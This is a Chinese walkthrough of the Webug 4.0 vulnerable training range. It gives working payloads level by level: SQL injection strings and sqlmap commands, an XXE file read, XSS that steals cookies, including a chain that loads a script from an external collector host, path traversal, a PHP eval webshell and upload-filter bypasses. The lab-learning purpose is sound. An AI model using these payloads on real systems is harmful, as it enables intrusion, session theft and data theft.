目录

一、Webug 的安装

(1)基本信息

(2)虚拟机的安装

(3)webug 下载

二、Webug 打靶笔记

(1)显错注入

(2)布尔注入

(3)延时注入

(4)POST注入

(5)过滤注入

(6)宽字节注入

(7)xxe注入

(8)csv注入

(9)反射型xss

(10)存储型xss

(11)DOM型xss

(12)xss过滤

(13)万能密码登录

(14) 链接注入

(15)任意文件下载

(16)MySQL配置文件下载

(17)文件上传(前端拦截)

(18)文件上传(解析漏洞)

(19)文件上传(畸形文件)

(20)文件上传(截断上传)

(21)文件上传(.hatccess)

(22)越权修改密码

(23)支付漏洞

(24) 邮箱轰炸

(25)越权查看admin

(26)URL跳转

(27)文件包含漏洞

(28)webshell爆破

(29)其他


一、Webug 的安装

(1)基本信息

WeBug 名称定义为”我们的漏洞”靶场环境 ,基础环境是基于 PHP/mysql 制作搭建而成,中级环境与高级环境分别都是由互联网漏洞事件而收集的漏洞存在的操作环境。部分漏洞是基于Windows操作系统的漏洞所以将WeBug的web环境都装在了一个纯净版的Windows 2003的虚拟机中。在 webug3.0 发布后的四百多天 226安全团队终于在大年初二发布了 webug 的 4.0 版本。

(2)虚拟机的安装

最新超详细VMware虚拟机下载与安装_隐秀_的博客-CSDN博客_vmware虚拟机

具体见上面这篇,也可自行查找

(3)webug 下载

官网已经失效了,但是可以在官方的GitHub中下载

wangai3176/webug4.0: webug4.0 (github.com)

下载然后选择里面的下载解压,最后将所有虚拟机放到一个文件夹中便于管理

然后我们打开虚拟机,文件--打开

他已经安装好了phpstudy2016版本,但是我们要进行一个版本的切换,因为如果不进行版本的切换的话,后续的SQL注入就无法进行。

这里推荐切换到这个版本。然后我们点击上面的虚拟机

然后确定,开启phpstudy后,我们在虚拟机中 win+r 输入cmd,在命令行中输入 ipconfig 查看自己的IP地址,之后在本地浏览器中访问该IP地址,就会自动跳转到这个登录页面

账号密码默认均为admin

登录成功,安装完成

注:请不要在公网上搭建该靶场,因为这个版本的phpstudy包含有后门

二、Webug 打靶笔记

(1)显错注入

这里的话是SQL注入,要有点SQL注入的知识,不会的话可以去看看我写的sqli-labs通过笔记学习一下。

进入靶场

这个就是我们要注入的页面了,我们打开hackbar,本来一看这个标题我还以为是报错注入,结果updatexml试了一下好像不对,后来order by了一下可以说明就是正常注入

我们在1 后面加上 ' 看看有没有报错信息

发现后面多了个单引号,我们可以用 --+/-- (后面有个空格)/#  这三个符号将后面的注释掉,注意:在post 注入的时候只能用最后一个注释符

然后判断字段数

?id=1' order by 3--+
?id=1' order by 2--+

字段数为2,

然后我们联合查询

先查表名

?id=-1' union select 1,database()--+

可以看到在上面输出了数据库名

然后查表名

?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7765627567--+

这里的webug我们转换为16进制,是为了避免因为引号而引起的问题,而16进制前面都要加0x

我们要里面的flag,

查flag的字段名

?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167--+

然后再查里面的flag数据

?id=-1' union select 1,flag from webug.flag--+

提交flag

成功

(2)布尔注入

这里我们加上单引号页面没报错,但是显示不完整,说明存在注入漏洞,我们order by发现没有和上一关一样回显说明这是盲注,可以时间盲注(布尔盲注也可以的)

?id=-1' or if((length(database())=5),sleep(3),1)--+

提交后可以看到延时了

这里应该是我网不好的原因吧,反正他是延时了对吧,所以我们可以采用时间盲注

sqlmap.py -u http://192.168.118.145/control/sqlinject/bool_injection.php?id=1 --dump -D webug -T flag -C flag

sqlmap一下,中间不知道怎么选的全选y 就行了,之后得到结果

法二:使用burp suite

开代理

http://192.168.118.145/control/sqlinject/bool_injection.php?id=1' and left((select flag from webug.flag),1)='a'--+

然后burp suite拦截一下,发送到攻击模块

这里因为我试过了所以得出了结果,如果你没试需要一个一个的试并将结果写在参数前面就行了

设置一下攻击模块,因为这里我们已经知道了它里面只有小写字母所以我们就只设这么多以免太过麻烦,如果不知道可以加一些常用的特殊符号如 _ 、- 、@ 、~ 等等

可以看到两个结果一样的

法三:可以自己写一个爬虫脚本,我在以前的文章中有发过代码,但是要试做修改

(3)延时注入

用时间盲注,和上一关一样的方法

(4)POST注入

我们进入靶场,首先先找到注入点

先尝试用get注入

好像没有什么反应

换成 ' 也是这个界面,说明get注入肯定不行,因为id=' 肯定是有问题的,

点击Login/Register 也没有什么反应所以也不在这里(因为这不是一套完整的cms)

在看搜索框,我们输入一个单引号

有报错,所以注入点在这,我们看一下字段数

1' order by 3#
1' order by 2#

字段数为2,注意这里是#注释,不能用--+,因为是post注入

我们先试一下联合查询,不出意料的没有找到回显位置,再用updatexml尝试一下报错注入

-1' or updatexml(1,concat(0x7e,database()),1)#

发现也没有给我们提供信息,那就只能用盲注了

可以sqlmap一下试试

先burp suite抓包,我们随便在搜索框中输入一个数字,然后拦截

可以看到传递的参数名,我们右键选择copy to file,保存为一个txt文件,然后我们打开sqlmap输入

sqlmap.py -r '你的保存路径' -D webug -T flag -C flag --dump

或者用burp suite

(5)过滤注入

SQL注入里面的过滤主要是过滤空格、关键词、注释符等

但是我们可以使用%0a来进行空格绕过,双写或大小写绕过关键词等等,因为这一关好像是没有对我们进行任何过滤操作,大概是作者疏忽了什么的所以这一关和上一关一模一样,如果有想练习这方面的可以去sqli-labs或CTFHub中练习

(6)宽字节注入

先了解一下宽字节的基础知识

参考链接:SQL注入教程——(四)宽字节注入_「已注销」的博客-CSDN博客_sql宽字节注入

宽字节注入_Heiseweiye的博客-CSDN博客_宽字节注入

宽字节:GB2312、GBK、GB18030、BIG5、Shift等这些都是常说的宽字节,实际上只有两字节,宽字节带来的安全问题主要是ASCII字符(一字节)的现象,即将两个ASCII字符误认为是一个宽字节字符。

在使用PHP连接MySQL的时候,当设置“set character_set_client=gbk”时会导致一个编码转换的问题。

例:id=1'   处理1\'        进行编码1%5c%27        带入sql后,id=\' and XXX 此时无法注入

id= 1%df'        处理1%df\'        进行编码 1%df%5c%27        带入sql后,id=1運' and XXX 可以注入

推荐解码网站:URL编码的解码(GBK) (mytju.com)

我们单引号闭合,发现好像没什么问题,再用order by 一下就发现无论我们后面为几都返回正常,这是因为我们的单引号被编码了,导致后面语句无法注入,在单引号前面加上%df,其余和第一关一样

(7)xxe注入

XXE (XML External Entity injection)XML 外部实体注入漏洞,如果XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击,这就是XXE漏洞。

XML外部实体(XXE)注入详解 - 渗透测试中心 - 博客园 (cnblogs.com)

XXE攻防——XML外部实体注入_LVXIANGAN的博客-CSDN博客

XXE漏洞利用技巧:从XML到远程代码执行 - FreeBuf网络安全行业门户

我们现在虚拟机中写一个文件,假设他里面放的是重要信息如密码

首先我们创建一个password.txt 的文件,里面写入admin123

然后我们再写一个简单的xml文件

<?xml version="1.0"?>
<!DOCTYPE ANY [<!ENTITY hhh SYSTEM "file:///c:/phpStudy/WWW/password.txt">
]>
<xml><xxe>&hhh;</xxe>
</xml>

抓包,

然后选择burp suite里面的decode模块,将我们之前写的xml文件内容进行url 编码

将下面的内容全部复制作为data的参数值

最后提交,成功从回显中看到admin123,这里没有d盘,所以找不到flag了,你可以自己建一个flag文件来玩玩。

(8)csv注入

这里源码有点问题吧,反正我是没办法添加的……

Webug(csv注入)_Sammi~的博客-CSDN博客_csv注入

安装上面这个文章我是没有成功,你可以先试试

但是我们主要不是为了打靶,而是为了学习相关知识,所以这里有一篇不错的文章推荐一下

浅谈CSV注入漏洞 - FreeBuf网络安全行业门户

(9)反射型xss

反射型 xss 的话是在url中直接构造的,我们将id的参数值改为

?id=<script>alert(1)</script>

提交,出现弹窗,说明存在漏洞且没有进行任何过滤,我们猜测flag在cookie里面

?id=<script>alert(document.cookie)</script>

弹窗中爆出了flag

(10)存储型xss

存储型xss可能存在于留言板、发帖等一切可以输入的地方

我们在页面最下方发现一处可以输入的地方,poc试一下,可以,然后看看cookie里面有没有flag

<script>alert(document.cookie)</script>

弹出来了。

(11)DOM型xss

这里先不写万能密码,因为这几个都是xss漏洞的相关知识,我觉得放在一起会好一点

打开靶场

这里有个搜索框,我们随便输入一个比如hhh,search,然后看一下网页源代码,可以看到我们输入的参数成了value的值

<input name="search" type="text" value="hhh" required="">

可以尝试构造闭合

" onmouseover=alert(document.cookie) >#

鼠标移到搜索框上即可弹出,或者也可以用

"><script>alert(document.cookie)</script>

等等,构造方法很多

(12)xss过滤

我们先poc一下,告诉我们不要使用恶意代码,先只留一个<script>,提交发现依旧如此,说明他可能对script 这个关键词进行了过滤,大小写绕过也失败了,我们再看看源码

发现在 li 标签里面,我们构造一个新的标签

<img src=1 onerror=alert(document.cookie)>

弹出flag

(13)万能密码登录

我们先尝试用弱密码登一下发现直接登进去了……但是这关不是这么做的

这个查询语句是这样的

select * from user where username='' and password=''

如果我们在username中输入

' or 1=1#

这个语句的意思是:先闭合username,然后因为1=1恒真,所以前面就是万能密码了,后面的#将password注释掉了

密码处随便输入,登录成功,这个就是万能密码登录,但是不一定是单引号闭合,有可能双引号,单引号加括号等等等。

也可以用burp suite进行密码爆破。

先抓包,密码就输123

然后右键,send Intruder,这里就只对密码进行爆破

然后在payload里面添加你的字典,网上都有可以自己下,如果是专业版的burp suite还可以设置线程,速度会快很多

然后点击start attack

然后我们观察到只有密码为admin 时length不同,所以他就是密码了

(14) 链接注入

打开靶场,我们看到url 中有有id参数,我们尝试进行修改,修改为hhh

可以看到页面中有回显,我们换成一个超链接

?id=<a href=http://www.baidu.com>点我试试看</a>

点击之后跳转到百度页面,这里也可以和xss漏洞一起盗取cookie,我这里做一个简单的演示

首先我们打开我们的xss平台,这里我建议是自己搭一个属于自己的xss平台,之前写过一篇文章

搭建属于自己的xss平台_清丶酒孤欢ゞ的博客-CSDN博客

然后添加,生成payload,这里生成的是没有任何绕过的最简单的xss,所以我们找一个没有过滤的有xss漏洞的网站,就用我们前面反射型xss那一关的网站,我们将payload复制粘贴为id的参数值

然后将这个url复制,到链接注入这一关卡中,把我们的url作为href的参数值

http://192.168.51.145/control/xss/link_xss.php?id=<a href='http://192.168.51.145/control/xss/link_xss.php?id=<script src="http://192.168.51.105/xss/myjs/demo1.js"></script>'>点我试试</a>

之后点击”点我试试“,就可以看到跳转到xss页面了,与此同时,我们的接受面板中也收到了邮件

可以看到我们拿到了目标的cookie了,再进入登录页面,将cookie换成我们拿到的就可以直接登录了。

(15)任意文件下载

任意文件下载漏洞学习 - 时光不改 - 博客园 (cnblogs.com)

上面这个作者写的比较详细,可以了解一下

打开靶场,可以看到有两个文件可以下载,我们先对其抓包,然后发送到reqeater模块,我们改变路径为:

?file=template/../../../boot.ini

这个文件里面放的是系统版本信息,我们send一下,可以看到靶机的系统信息了,

这里的3个/../是通过多次尝试才得到的,你也可以随便在靶机上建一个文件,然后用这种方式来下载文件,这就是任意文件下载

(16)MySQL配置文件下载

这玩意和上一关一样的,就是要找路径,而我们知道的是my.ini 在mysql文件夹里面,所以我们构造 ../mysql/my.ini 绝对路径,在repeater里面我们尝试,发现成功,也可以用

template/../../mysql/my.ini

这个也可以

(17)文件上传(前端拦截)

先制作一个php文件,命名为shell.php 然后在里面输入

<?php @eval($_POST['123']);?>

这是一个最简单的php一句话木马,当然,你也可以只写个phpinfo()

然后我们点击选择文件,但他却告诉我们不支持该类型的,我们打开网页源代码

发现他对我们的文件类型进行了判断,所以我们先将后缀名改为jpg,然后先上传,再用burp suite进行拦截,将jpg改为php即可

然后forward,再关闭拦截,就可以看到靶场跳转页面,并且显示了我们文件上传的位置

然后我们可以用中国菜刀或者蚁剑来连接即可,实在不行也可以用浏览器直接访问,

http://ip/template/upload/shell.php

IP处填你的IP,这里因为是一句话木马,返回的应该是空白,如果写的是phpinfo就有东西了

添加,然后就拿到webshell了

(18)文件上传(解析漏洞)

先尝试php文件直接上传,不行,换成jpg,然后再改为php,也不行,可能对我们的进行了解析操作,尝试大小写绕过,换成php5什么的,%00截断,::$DATA 都不行,.hatccess文件也上传不了,去网上查了查,这里可以使用生僻字进行绕过,比如这个 龘(dá)

在repeater里面将文件名改为 shell2.php龘.jpg,send,发现上传成功,这是因为他无法对这个字进行编码,所以后面的信息全部被过滤掉了。最后就变成了php文件

然后就是蚁剑了

(19)文件上传(畸形文件)

我们先试着用 .php 上传一下,不行,再上传jpg,在burp suite里面改为php,发送,发现不行

他好像对我们的 php进行了检测,我们尝试一下双写能不能绕过,发现可以,构造 .pphphp

(20)文件上传(截断上传)

和第18关是一个方法

(21)文件上传(.hatccess)

这里作者的代码有一点问题,按照提示的做法会无法进行,我们替换一下

<?phprequire_once "../../common/common.php";
if (!isset($_SESSION['user'])) {header("Location:../login.php");
}
$filter = array(".jpg", '.png', '.gif');if ($_FILES['file']['error']) {die();
}
if ($_FILES['file']) {$arr = $_FILES['file'];$file_ext = trim(strtolower(strrchr($arr['name'], ".")));if (file_exists(TPMELATE."/upload/".$arr['name'])){echo "<script>alert('该文件已经存在')</script>";} else{$filename = iconv("UTF-8","gb2312",TPMELATE."/upload/".$arr['name']);move_uploaded_file($arr["tmp_name"],$filename);echo $filename;die();}
}
require_once TPMELATE."/upload_file_1.html";

替换的文件位置在 C:\phpStudy\WWW\control\upload_file\upload_file_5.php,全部替换即可

然后我们调一下php版本,否则php代码可能无法正常解析

然后我们首先创建一个 .htaccess 的文件,注意不能有任何名字,单纯只是 .htaccess,在里面写入

SetHandler application/x-httpd-php

这段代码的意思是将该目录下所有文件解析为 .php,将他上传上去(通过burp suite改后缀名上传),然后我们再创建一个带有phpinfo()的shell4.php.jpg 文件,上传上去,通过浏览器访问就可以了

(22)越权修改密码

先用弱口令试一下,发现不行,然后就想到用万能密码,先闭合再用or语句

如果你没有成功是因为php版本问题,我们再调回5.3.29-nts 就行了

越权成功

(23)支付漏洞

打开靶场,随便购买一个商品,然后我们抓包,

发现这个参数是get型,我们随意修改,提交后就会显示在页面上,事实上,在现实生活中不是利用get型来传参的,商品的价格也无法让我们随意修改,但是我们可以修改相应的优惠券的数额来达到节省的目的。

(24) 邮箱轰炸

这关的思想就是,在一个用邮箱注册的网站,我们重复使用一个邮箱进行注册,然后他就会不断发送确认信息给那个邮箱,如果我们用脚本的话,就可以达到一种轰炸的效果

(25)越权查看admin

用万能密码进行登录,返回页面回显,越权查看admin就是你作为user这个身份,通过修改id参数,或者其他的参数值我们可以跳转,跳转之后可以看到admin的密码,修改或重置甚至直接拥有admin的权限。这些都是逻辑类型的漏洞

这里我们将id=2修改为id=1,可以看到我们到了admin的界面。

(26)URL跳转

顾名思义,点击某某链接进行跳转,

点击百度就能跳转到百度了,如果你抓包修改的话就可以跳转到你想去的页面了

(27)文件包含漏洞

浅谈文件包含漏洞 - FreeBuf网络安全行业门户

直接在url里面改 ?filename=../../../../boot.ini

(28)webshell爆破

最后一关了……因为28和30都有问题没办法做

这里打开靶场叫我们输入密码,我们抓包进行密码爆破,大家可以自己试一下,这里就直接告诉你密码为a1,登录成功后拿到webshell

(29)其他

这里面的cms靶场和ctf都在开发中,但是知识库还是可以看的,enmmm……就这样吧。睡觉去了。

Webug4.0 打靶笔记相关推荐

  1. webug4.0通关笔记

    目录 显错注入 布尔注入 延时注入 post注入 过滤注入 宽字节注入 xxe注入 csv注入 反射型xss 存储型xss 万能密码登陆 DOM型xss 过滤xss 链接注入 任意文件下载 mysql ...

  2. webug4.0通关笔记---(第一天:布尔注入)

    布尔注入 页面在执行sql语句后,只会显示两种结果,Tuer or False 也就意味着,它不需要报错,不需要知道准确的字段个数, 归根结底它只关心一点: 我们的sql到底有没有被执行成功 如果还没 ...

  3. WebGoat v8.0打靶笔记

    目录 一.环境的配置 (1)安装docker (2)WebGoat获取 (3)burp suite的配置 二.Introduction 三.General (1)HTTP Basics (2)HTTP ...

  4. webug4.0之xxe注入

    关于xxe漏洞,传送门 ->xxe漏洞详解 1. 页面观察 让我们登录,我们随便输入一个字符如admin,观察页面,出现了xml有关的东西,我们就要怀疑存在xml注入 2. 看是否能解析xml数 ...

  5. mysql5.0镜像_Mysql5.0学习笔记(一)

    Mysql5.0学习笔记(一) -基本sql语句与支持字符集 1.登录 mysql -h localhost -u root 2.创建用户firstdb(密码firstdb)和数据库,并赋予权限于fi ...

  6. html5.0笔记,动易sf5.0标签笔记.doc

    动易sf5.0标签笔记 网站首页标签调用 动易SiteFactory 文章模型标签作者:动易网络 文章来源:灯火 点击数:1617 更新时间:2011-4-16 20:20:52标签名: {PE.La ...

  7. 第64节:Java中的Spring Boot 2.0简介笔记

    Java中的Spring Boot 2.0简介笔记 spring boot简介 依赖java8的运行环境 多模块项目 打包和运行 spring boot是由spring framework构建的,sp ...

  8. 神马笔记 版本1.8.0——删除笔记/文件夹·技术细节篇

    神马笔记 版本1.8.0--删除笔记/文件夹·技术细节篇 一.目标 二.体验地址 三.技术问题 1. 拖拽排序问题 2. indexOf问题 四.Finally 一.目标 记录开发过程中的2个技术问题 ...

  9. 神马笔记 版本1.8.0——删除笔记/文件夹·代码篇

    神马笔记 版本1.8.0--删除笔记/文件夹·代码篇 一.目标 二.体验地址 三.功能设计 1. 实现删除功能 2. 处理最近删除的可见性 四.实现过程 1. 删除到最近删除 2. 从最近删除恢复 3 ...

最新文章

  1. 2021年自然语言处理学习路线!
  2. python基本使用-Python的基本用法
  3. spring mvc使用的一些注意事项
  4. 信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言—— 1052:计算邮资
  5. linux bash source 0,linux中BASH_SOURCE[0](转)
  6. IndexError: tensors used as indices must be long, byte or bool tensors
  7. rsem比对_RSEM方法比对和表达量计算
  8. 必背单词_初中英语:2000个必背单词(附音标)汇总,打印背完,3年考高分
  9. 方便维护下拉框数据的UI设计
  10. Discuz!NT实际安装流程
  11. MFC创建MDI程序一个Doc对应多个View
  12. bzoj 3670 [NOI2014]动物园
  13. iPhone 6 Plus实际分辨率为2208x1242的问题
  14. 详解java定时任务
  15. Candy leetcode java
  16. Win7/8/10系统下Protel 99 SE不能添加元件库 File is not recognized
  17. 在禁用UAC时,无法激活此应用
  18. Redis RDB和AOF
  19. Linux压缩包,解压缩包,vim,yum仓库,zip,用户管理
  20. 第7章:OFDM 信道估计与均衡(1)

热门文章

  1. 火山小视频怎么搬运 | 快手伪原创教程
  2. 四则运算web版需求规格说明书
  3. android studio 排除,Android Studio从构建中排除类?
  4. 基于COMSOL的固体力学或压力声学模块仿真声子晶体
  5. 熟悉linux开发环境_熟悉但“新”的分析开发方式
  6. 项目完整上线流程-后端
  7. 财务系统软件c语言,用vc++6.0编写一个简单的财务应用程序来计算职工所得的实际工资...
  8. c语言 用结构指针输入,c语言结构体以及结构体指针的使用
  9. Android 11 Wifi之ConnectivityService流程
  10. 建立用例模型应当注意的问题